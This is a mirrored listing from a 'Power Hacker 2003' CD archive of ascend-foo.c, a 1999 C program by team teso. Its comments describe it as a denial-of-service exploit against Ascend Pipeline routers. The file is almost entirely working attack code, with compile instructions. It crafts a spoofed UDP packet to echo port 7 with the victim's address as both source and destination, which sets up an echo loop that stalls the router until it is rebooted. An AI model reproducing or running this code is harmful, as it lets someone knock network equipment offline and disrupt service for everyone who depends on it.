home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / ascend-foo.c < prev    next >
C/C++ Source or Header  |  2002-05-07  |  2KB  |  90 lines

  1. <html>/* ascend foo denial of service exploit
  2.  * 1999/09/25
  3.  * 
  4.  * basically just another lame echo/echo link, but has nice results on ascend,
  5.  * you can increase the lag in steps of 2ms by sending one packet, after some
  6.  * few hundret ms lag you overflow the internal packet buffer and the whole
  7.  * connection stalls, the router has to be rebooted.
  8.  *
  9.  * by scut and hendy / team teso [http://teso.scene.at/]
  10.  *
  11.  * compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN
  12.  * works fine against Ascend Pipeline * modells, haven't tried against others
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <libnet.h>
  17.  
  18. int
  19. main (int argc, char **argv)
  20. {
  21.     int    sock, c;
  22.     u_long    src_ip;
  23.     u_char    *buf;
  24.     u_char    *qbuf;
  25.     int    qbuf_s = 0;
  26.  
  27.     printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n");
  28.     if (argc < 2) {
  29.         printf ("usage: %s <srcip> [packetsize]\n\n", argv[0]);
  30.         exit (EXIT_FAILURE);
  31.     } else if (argc == 2) {
  32.         qbuf_s = 73;
  33.     } else {
  34.         qbuf_s = atoi (argv[2]);
  35.     }
  36.     qbuf = malloc (qbuf_s);
  37.  
  38.     src_ip  = libnet_name_resolve (argv[1], 0);
  39.  
  40.     if (src_ip == 0) {
  41.         printf ("invalid syntax\n");
  42.         exit (EXIT_FAILURE);
  43.     }
  44.     
  45.     buf = calloc (1, (UDP_H + IP_H + qbuf_s));
  46.     if (buf == NULL) {
  47.         perror ("No memory for packet");
  48.         exit (EXIT_FAILURE);
  49.     }
  50.  
  51.     libnet_seed_prand ();
  52.  
  53.     sock = libnet_open_raw_sock(IPPROTO_RAW);
  54.         if (sock == -1) {
  55.         perror ("No socket");
  56.         exit (EXIT_FAILURE);
  57.     }
  58.     
  59.     libnet_build_ip (    UDP_H + qbuf_s,    /* content size */
  60.                 0,        /* tos */
  61.                 0,        /* id */
  62.                 0,        /* frag */
  63.                 64,        /* ttl */
  64.                 IPPROTO_UDP,    /* subprotocol */
  65.                 src_ip,        /* heh ;) */
  66.                 src_ip,
  67.                 NULL,        /* payload already there */
  68.                 0,        /* same */
  69.                 buf);        /* build in packet buffer */
  70.  
  71.     libnet_build_udp (    7,    /* source port */
  72.                 7,
  73.                 qbuf,        /* content already there */
  74.                 qbuf_s,        /* same */
  75.                 buf + IP_H);    /* build after ip header */
  76.  
  77.     libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s);
  78.  
  79.     c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s);
  80.     if (c < UDP_H + IP_H + qbuf_s) {
  81.         printf ("write_ip wrote too less bytes\n");
  82.     }
  83.     printf ("completed, wrote %d bytes to victim router\n", c);
  84.  
  85.     free (buf);
  86.  
  87.     return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
  88. }
  89.  
  90.